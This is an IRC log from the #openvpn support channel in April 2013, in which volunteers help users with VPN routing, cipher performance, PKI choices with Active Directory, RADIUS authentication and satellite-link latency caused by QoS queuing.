09:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
09:46 -!- Devastator [~devas@186.214.110.171] has quit [Changing host]
09:46 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:48 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has quit [Quit: leaving]
10:11 -!- laner [~Lane@pool-108-12-162-210.bltmmd.east.verizon.net] has joined #openvpn
10:45 -!- SriKolla [~pamod@112.134.245.74] has joined #openvpn
10:45 < SriKolla> Hi, I have a question.. can anyone help me
10:46 < SriKolla> I'm trying to connect to ubuntu server 12.04 running openvpn from my ubuntu desktop running ubuntu 12.04.. openvpn client connects. But i cannot browse any ineternet. I can ping and ssh to my server when I'm connected through vpn.
10:49 < EugeneKay> !redirect
10:49 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:49 <@vpnHelper> http://ircpimps.org/redirect.png
10:49 < EugeneKay> Chart ^
10:50 < SriKolla> hello
10:53 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:54 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
11:07 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
11:07 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
11:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
11:26 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-djhtsqqvdfhfedmk] has quit [Ping timeout: 248 seconds]
11:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:02 -!- laner [~Lane@pool-108-12-162-210.bltmmd.east.verizon.net] has quit [Quit: Computer has gone to sleep.]
12:08 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
12:15 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
12:18 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
12:25 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
12:29 -!- laner [~Lane@pool-108-12-162-210.bltmmd.east.verizon.net] has joined #openvpn
12:32 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Read error: Connection reset by peer]
12:41 -!- Cultist [~Cultist@2601:d:9380:a7:8634:97ff:fe17:5dc3] has joined #openvpn
12:42 < Cultist> If I set up a static key vpn and the client key is compromised, can it be simply blacklisted on the server or do I need to kill the vpn and set up another?
12:43 -!- laner [~Lane@pool-108-12-162-210.bltmmd.east.verizon.net] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
12:47 -!- TommehM is now known as CookieNinja
12:52 -!- Cultist [~Cultist@2601:d:9380:a7:8634:97ff:fe17:5dc3] has quit [Ping timeout: 252 seconds]
12:56 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
13:05 < SriKolla> anyone?
13:12 < EugeneKay> !anyone
13:12 < EugeneKay> !anybody
13:12 < EugeneKay> !fuckingbot
13:13 < EugeneKay> !ask
13:13 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
13:13 < EugeneKay> There it is. SriKolla ;-) ^^
13:14 -!- abec0_ is now known as abec0
13:23 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-hdachwktmrofjoow] has joined #openvpn
13:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:35 -!- kubbing_ [~kubbing@ip-89-177-146-99.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
13:42 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
13:45 -!- disaster38 [~ident@i03v-62-35-223-179.d4.club-internet.fr] has joined #openvpn
13:45 < disaster38> hi all
13:48 < disaster38> I have 2 dedicate server on same datacenter with gigabyte connection. I have setting one openvpn site-to-site (pre shared key) without encryption to test the speed. With iperf, I obtain only 400 mb/s. WIthout openvpn I have 950 MB/S
13:49 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
13:49 < disaster38> The CPU core are 80% (with htop)
13:49 < disaster38> I use debian squeeze, any idea ?
13:49 < disaster38> I have already set my MTU to 9000
13:50 < MorgyN> Try a lower cpu cipher?
13:51 < disaster38> I use cipher with "none" value ;)
13:54 < disaster38> Hum sorry for that, now the speed is good 867 Mbits/sec without encryption
13:55 < disaster38> With Intel Xeon CPU, what its the best cipher to have good speed with good encryption ?
13:56 < MorgyN> try "openssl speed"!
13:56 < MorgyN> oops sorry typoed the !
13:56 < pekster> Generally blowfish will give the best results, unless you have AES-NI supporting hardware
14:11 < hjohnson> grumble... why does microsoft make it so hard to sign a simple CSR?
14:12 < pekster> Easy enough with openssl. I've no clue why people do PKI management on MS platforms outside of AD domain purposes
14:13 < hjohnson> yeah,since we're running an AD domain, I figured it was bestjust to sign my OpenVPN certificate with the AD tree, but this is proving to be a pain in the arse
14:13 < pekster> Don't do that
14:14 < pekster> At the very least you want a sub-CA in that environment, otherwise any valid keypair could be used to auth against the VPN (and with auto-enrollment, pretty much everything in the AD tree tends to get one, including computers)
14:14 < hjohnson> well, I wasn't oging ot do certificate for actual authentication
14:15 < hjohnson> just for the server certificate.
14:15 < hjohnson> the authentication I was going to do was username/password against RADIUS
14:15 < hjohnson> or similar.
14:15 < pekster> Still not a great idea since you'd need to create a signing policy to mark it with the right OID for 'TLS Web Server Authentication' if you want mitm protection
14:15 < pekster> Just follow the howto
14:15 < pekster> !howto
14:15 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:16 < pekster> easy-rsa is what you want unless you're an expert at X.509 semantics
14:18 < hjohnson> ok, but if I generate the CSR on the OpenVPN server, I still don't understand why I wouldn't want to get it signed by my local CA?
14:18 < pekster> There's no reason to
14:19 < pekster> And it adds all sorts of complicating factors like making MITM protection (at least doing it properly) more of an issue, and getting the CA made available to clients that need it to verify the authenticity of the server
14:20 < hjohnson> pekster: well, the machines accessing the network are already part of the domain, so they will trust the signature of the CA
14:20 < pekster> Nope. OpenVPN requires an explicit CA file
14:20 < pekster> Which is, in fact, explained in the howto
14:20 < pekster> Please go read it
14:21 < pekster> I don't care if you use a bad solution. Do it if you want. It's going to cause you a lot more harm, and if you do it incorrectly could pose a security risk. If that's fine and you think you're an expert in PKI, feel free to plow down that road
14:21 < hjohnson> ahh, didn't realize it better integrated into the existing authentication structure.
14:21 < hjohnson> fair enough
14:22 < hjohnson> er didn't integrate into the existing auth infrastructure.
14:22 < pekster> Right :)
14:22 < hjohnson> then yeah, using the exsiting CA doesn't gain anything.
14:23 < pekster> If it's some "requirement" you have a link, your best bet is to create a sub-CA for the VPN stuff
14:23 < pekster> But really, unless you have some weird use-case, just create your own stand-alone PKI. Obviously it'll be trusted since you just created it
14:24 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
14:24 < hjohnson> naw, it's not.  I run this sysstem for a remote site, the onsite techs aren't all that technical, but keep the day to day operations going, so centralizing the control/authentication makes life easier for them, and reduces the load on me.  However, you're absolutely right in that it doesn't make a lick of difference, especially since I won't be using the certificates for the actual authentication.
14:24 < pekster> Well, you will
14:25 < pekster> Clients verify the server by checking the presented cert from the server against the CA for a valid signature
14:25 < hjohnson> well, yes, but I meant for user authentication.
14:25 < pekster> Sure
14:25 < hjohnson> ie won't be generating a certificate for the user machine
14:25 < pekster> Yea
14:26 < pekster> Easiest from an AD+RADIUS standpoint is to create an RRAS policy bound to a group, then add VPN-enabled users to that security group
14:26 < hjohnson> yep, exactly the plan
14:26 < pekster> Drop in a supplicant on your VPN server and a fairly-small script is all you need
14:26 < pekster> Just mind the escapes depending on language
14:28 -!- matsh [divine@nanogene.org] has joined #openvpn
14:29 < hjohnson> I've already got most of the RADIUS server side of things done, since I use it for dot1x ont he wireless
14:31 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 246 seconds]
14:33 < hjohnson> thanks for your patience, I know how annoying it can be to have n00bs asking the same quesiton over and over and over again.
14:36 < pekster> We get surprinsingly few people trying to use MS PKI to manage things (which is really for the best anyway)
14:37 < hjohnson> yeah, I'm not normally a MS person, so I'm not aware of the pitfalls of using it.  I more just have a drive to centralize things as much as I can, rather than having distributed things all over the place which someone might forget about.
14:38 < SriKolla>  I'm trying to connect to ubuntu server 12.04 running openvpn from my ubuntu desktop running ubuntu 12.04.. openvpn client connects. But i cannot browse any ineternet. I can ping and ssh to my server when I'm connected through vpn.
14:39 < pekster> SriKolla: You were linked info and a flowchart earlier. What did you learn from that flowchart?
14:48 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:51 < SriKolla> pekster: sorry I didnt get u... i'm not sure whether i got that info and flowchart.. couldnt find it.. pardon me.. im new here
14:52 < pekster> This was over 4 hours ago: http://paste.kde.org/733964/raw/
14:52 < pekster> Failure to read information you've been given isn't a good way to get help
14:56 < SriKolla> my bad... i missed it .. I'll check and get back to u
15:03 < SriKolla> hi pekster, after reading through the flowchart i guess i'm having a firewall issue which i cant figure out
15:06 -!- Fast[BDC] is now known as pcdummy
15:13 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 272 seconds]
15:14 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
15:14 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
15:29 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:32 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 245 seconds]
15:32 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
15:33 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-hdachwktmrofjoow] has quit [Ping timeout: 255 seconds]
15:33 -!- pulz [geir@winning.no] has quit [Ping timeout: 256 seconds]
15:33 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 246 seconds]
15:34 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 245 seconds]
15:34 -!- lmm [uid6417@gateway/web/irccloud.com/x-bxzmxwulkxtnyuvn] has quit [Ping timeout: 255 seconds]
15:35 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
15:37 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:37 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:38 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:38 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:38 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
15:38 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:38 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:39 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:39 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:39 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:39 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:39 -!- pulz [geir@winning.no] has joined #openvpn
15:39 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
15:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:41 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Read error: Connection reset by peer]
15:41 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:41 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:41 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
15:41 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
15:41 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
15:41 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
15:41 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Ping timeout: 260 seconds]
15:41 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:41 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:42 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
15:42 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:42 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:42 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
15:43 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:43 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:43 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:43 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:44 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:44 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:44 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:44 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
15:48 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
15:50 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
16:00 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 258 seconds]
16:09 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
16:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:23 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-cxilrkttwxqhuqgk] has joined #openvpn
16:29 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
16:31 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
16:34 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
16:35 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:41 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
16:51 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
16:51 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
16:52 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
16:52 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
16:55 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
16:58 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
16:59 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
17:28 -!- lmm [uid6417@gateway/web/irccloud.com/x-mwjmemhybgqpyqxo] has joined #openvpn
17:29 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
17:33 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
17:33 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
17:33 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
17:33 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
17:36 -!- hesperaux [~hesperaux@208.53.158.60] has quit [Ping timeout: 245 seconds]
17:37 -!- hesperaux [~hesperaux@174.37.86.108] has joined #openvpn
17:41 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
17:48 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
17:48 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
17:49 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
17:49 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
17:49 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
17:49 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
17:50 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
17:50 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
17:52 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
17:52 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:04 < hjohnson> ok.. question, how much back and forth is there within OpenVPN for each packet?
18:06 -!- hesperaux_ [~hesperaux@174.37.86.108] has joined #openvpn
18:07 < pekster> hjohnson: From what perspective?
18:07 < hjohnson> The reason why I ask is because i'm running this stuff over a satellite link, and my regular 600ms latency has gone up to 3 seconds when goign through an OpenVPN tunnel
18:08 < pekster> That's not normal; it's possible if you have badly configured MTU settings in addition to broken pMTUd across the end-to-end systems you're pinging you could encounter such issues, but otherwise that's not common
18:08 < pekster> You're not using TCP as your OpenVPN protocol are you?
18:08 < hjohnson> no, bog standard udp
18:09 < hjohnson> to the best of my knowledge it's 1500 byte MTUs the whole way across
18:09 < hjohnson> well, not sure about the internet between there and here
18:09 -!- hesperaux [~hesperaux@174.37.86.108] has quit [Ping timeout: 260 seconds]
18:09 < pekster> If you haven't needed to mess with --fragment and can send max-sized packets with DF set, it should be fine
18:10 < pekster> There's no "back and forth", just the usual overhead that comes with any encapsulation
18:12 < hjohnson> yeah, that's what I was thinking... checking the path MTU
18:13 -!- `nand` is now known as haasn
18:13 < pekster> Broken pMTU discovery just means packets at the MTU won't get through. If that's the case for the *tunnel* itself, you need to hack around it with --fragment too
18:15 < hjohnson> hrmm.. this could also be caused by my QoS across the satellite link... given the number of users, I've had to apply some heavy QoS... right now, the OpenVPN packets just get dumped down into the basic queue.. let me go and prioritize it and see what happens
18:16 < hjohnson> *facepalm* yep
18:16 < hjohnson> stupid me for testing this on a sunday afternoon when everyone's online.
18:16 < pekster> sfq can fix lots of stuff like that
18:16 < pekster> Too many people use complex prio setups that a simple fair-queuing scheme do better with far less configuration
18:17 < pekster> It basically assures that no one stream gets to "hog" all the traffic, giving each stream a chance to send before the same stream gets to send more
18:17 < hjohnson> well, i'm running CBWFQ (cisco routers at either end) since I need to prioritize one group of users.
18:17 < pekster> CBQ is one of the most complex and, IMO, worthless classification schemes to ever be created
18:18 < hjohnson> pekster: yeah, well aware.  That' more or less what I'm doing, other than guaranteeing our business users access to half the pipe.
18:18 < hjohnson> (during business hours)
18:18 < pekster> htb or hfsc do the same thing better, and if "lots of users, some of whom send/recieve a lot" is your problem, sfq plus some hfsc (or htb) on top is usually cleaner and better
18:18 < hjohnson> but the fact of the matter is that I have ~80 people hanging off of a 1mbps/300kbps satellite connection
18:18 < pekster> But, not really openvpn's issue either way
18:18 < hjohnson> exactly
18:19 < hjohnson> but I'm a happy camper, I've got the radius plugin working nicely, all is happy
18:21 < hjohnson> heh "5 minute offered rate 831000 bps, drop rate 19000 bps"
18:21 < hjohnson> yeah, that might do it
18:30 < hjohnson> or not... I've now prioritized openvpn packets the same way I handle icmp, but a naked ping across the link is still a heck of a lot lower latency than the openvpn tunnel
18:36 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 258 seconds]
18:44 -!- Willis [Willis@173.234.237.131] has joined #openvpn
18:53 < hjohnson> something, somewhere, is causing huge delay to openvpn... and I'm starting to think that it's something outside of my control
18:53 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
18:53 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
18:54 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
18:54 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
18:55 < pekster> If it's some upstream QoS sometimes you can trick it by using different ports, but that won't fool any but the dumbest systems
18:55 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
18:55 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
18:56 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
18:56 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
18:56 < hjohnson> the far end is on a broadstripe business account, my connection is on a commercial fiber link...
18:56 < hjohnson> there shouldn't be anything causing problems (IPSec works fine for the infrastructure links)
18:57 < pekster> And your ping is between endpoints, right?
18:57 < pekster> (the VPN IPs, not some system behind either end)
18:57 < hjohnson> yeah
18:58 < pekster> Right. OpenVPN won't add latency like that, and won't ever split packets unless told to do so with --fragment
18:58 < hjohnson> exactly, so there' ssomething really fishy going on
18:59 < hjohnson> (not related to OpenVPN)
18:59 < hjohnson> it could be something in my router configs
19:00 < hjohnson> the OpenVPN server is behind a NAT, with 1194 forwarded through
19:01 < pekster> NAT won't mess with openvpn (although maybe the NAT host is messed up.) OpenVPN is one of the most NAT-friendly VPN solutions since all traffic goes over a single port
19:01 < hjohnson> exactly
19:02 < hjohnson> and it doesn't sign the (theoretically) immutable fields like IPSec does
19:03 < pekster> The entire payload of the packet is signed; the encapsulating headers (UDP & IP) aren't
19:03 < hjohnson> yeah
19:03 < hjohnson> vs ipsec which also signs the immutable header fields by default.
19:03 < pekster> That "shouldn't" cause issues unless your link is hosed, and openvpn can't really fix that
19:04 < pekster> Don't really thing that's related; if headers got altered, packets might get redirected or dropped, but not delayed
19:04 < pekster> think*
19:04 < pekster> Anything can look at the IP header and do what it wants with that info
19:06 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
19:08 < hjohnson> I wonder if I'm just getting some absurdly high latency through the system right now.
19:09 < hjohnson> being a good admin, I've put the traffic for my monitor and control on strict priority so I can always get through in heavy congestion situations... but that also masks my issues as a normal user
19:11 < hjohnson> running 50+ users off of 1mbps in the modern era is.. painful
19:11 < pekster> There again, openvpn can't fix that. It's part of why I like sfq as a general solution since low-bandwidth but latency-sensitive stuff remains mostly unaffected, while high-volume transfers simply get a bit less. Of course, if you're massively over-subscribed, no trickery can fix that
19:12 < hjohnson> nope, I'm more just thinking out loud at this point, sorry
19:12 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
19:13 -!- newbie|5 [~tjz@bb119-74-161-116.singnet.com.sg] has quit [Quit: quit irc]
19:13 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
19:14 -!- digilink [~digilink@unaffiliated/digilink] has quit [Client Quit]
19:15 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
19:19 -!- digilink [~digilink@unaffiliated/digilink] has quit [Client Quit]
19:27 < hjohnson> pekster: so in conclusion, it is just QoS latency
19:27 < hjohnson> pekster: now that the people in the village have gone to dinner, latency across openvpn is bang where it should be
19:28 < pekster> I still think a rate control knob on the frontend with sfq would make that all go away for you, and it's supprisingly simple. A simple ping inside the VPN tunnel is almost gaurenteed to send what it wants across such a setup due to the low volume
19:29 < pekster> So, your "fancy" QoS is showing the same symptomps many of such complex setups do. You might want to re-work it
19:30 < hjohnson> it's not all that fancy, it's basically doing SFQ, and prioritizing my M&C traffic, DNS traffic, and the voice traffic.
19:31 < pekster> How on earth is a fair-queuing scheme behaving that badly?
19:31 < pekster> If so, yea, your setup is sorta screwed no matter what you do
19:31 < hjohnson> pekster: the queues are really deep.
19:32 < pekster> But sfq creates *many* small queues, and the VPN would be one. Then it gives each one a chance to send
19:32 < hjohnson> yeah
19:32 < pekster> hash collisions are rare, and with proper purturbing that's not really a problem
19:32 < hjohnson> int his case, the QoS is being done on a cisco, so it's the weighted fair quing system.
19:32 < hjohnson> but same thing.
19:33 < pekster> If it's a class-based frontend, it's not really
19:33 < pekster> But I'm not too familiar with Cisco's offerings as I prefer systems a bit more transparent to run such setups on
19:39 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
19:39 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
19:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
19:40 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Excess Flood]
19:42 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
19:44 -!- mode/#openvpn [+o pekster] by ChanServ
19:44 -!- mode/#openvpn [+big-i #openvpn!*@*] by pekster
19:44 <@pekster> Erm
19:44 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:488e:57eb:6a14:205d] has quit [Quit: emmanuelux]
19:46 <@pekster> Ah, reversed variables in my alias
19:46 -!- mode/#openvpn [+b *!N4Y@Nothing4You.w.tf-w.tf$##fix_your_connection] by pekster
19:47 -!- mode/#openvpn [-b #openvpn!*@*] by pekster
19:47 -!- mode/#openvpn [-o pekster] by ChanServ
19:48 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
19:51 -!- SriKolla [~pamod@112.134.245.74] has quit [Ping timeout: 276 seconds]
19:56 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:59 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
20:01 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
20:20 -!- newborn [~TOSHIBA@123.68.143.48] has joined #openvpn
20:22 -!- newborn [~TOSHIBA@123.68.143.48] has left #openvpn []
20:22 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:28 -!- hesperaux__ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has joined #openvpn
20:32 -!- hesperaux_ [~hesperaux@174.37.86.108] has quit [Ping timeout: 272 seconds]
20:37 -!- Zenum [~quassel@unaffiliated/zenum] has quit [Remote host closed the connection]
20:37 -!- xBytez [~xbytez@unaffiliated/magix] has quit [Quit: No Ping reply in 180 seconds.]
20:40 -!- Zenum [~quassel@unaffiliated/zenum] has joined #openvpn
20:42 -!- xBytez [~xbytez@we.are.rootgeeks.com] has joined #openvpn
20:42 -!- xBytez [~xbytez@we.are.rootgeeks.com] has quit [Changing host]
20:42 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
21:10 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
21:15  * EugeneKay sets ban on pants
21:16 < pekster> Hopefully with a better alias than I had (apparently I never tested that alias before today. Clearly I don't add bans often :)
21:16 < pekster> reversed channel/action arguments
21:20 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:21 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
21:32 -!- Feico_ [~feico@s529db771.adsl.online.nl] has joined #openvpn
21:35 -!- Feico [~feico@s529db771.adsl.online.nl] has quit [Ping timeout: 272 seconds]
21:36 -!- mode/#openvpn [+o EugeneKay] by ChanServ
21:36 -!- mode/#openvpn [+b pants!*@*] by EugeneKay
21:53 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:03 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
22:06 -!- hesperaux_ [~hesperaux@174.37.86.108] has joined #openvpn
22:10 -!- hesperaux__ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has quit [Ping timeout: 258 seconds]
22:22 -!- master_of_master [~master_of@p4FF24AA1.dip0.t-ipconnect.de] has joined #openvpn
22:26 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:26 -!- master_o1_master [~master_of@p4FF2453F.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
23:10 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
23:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
23:46 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
23:53 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
23:54 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
--- Day changed Mon Apr 29 2013
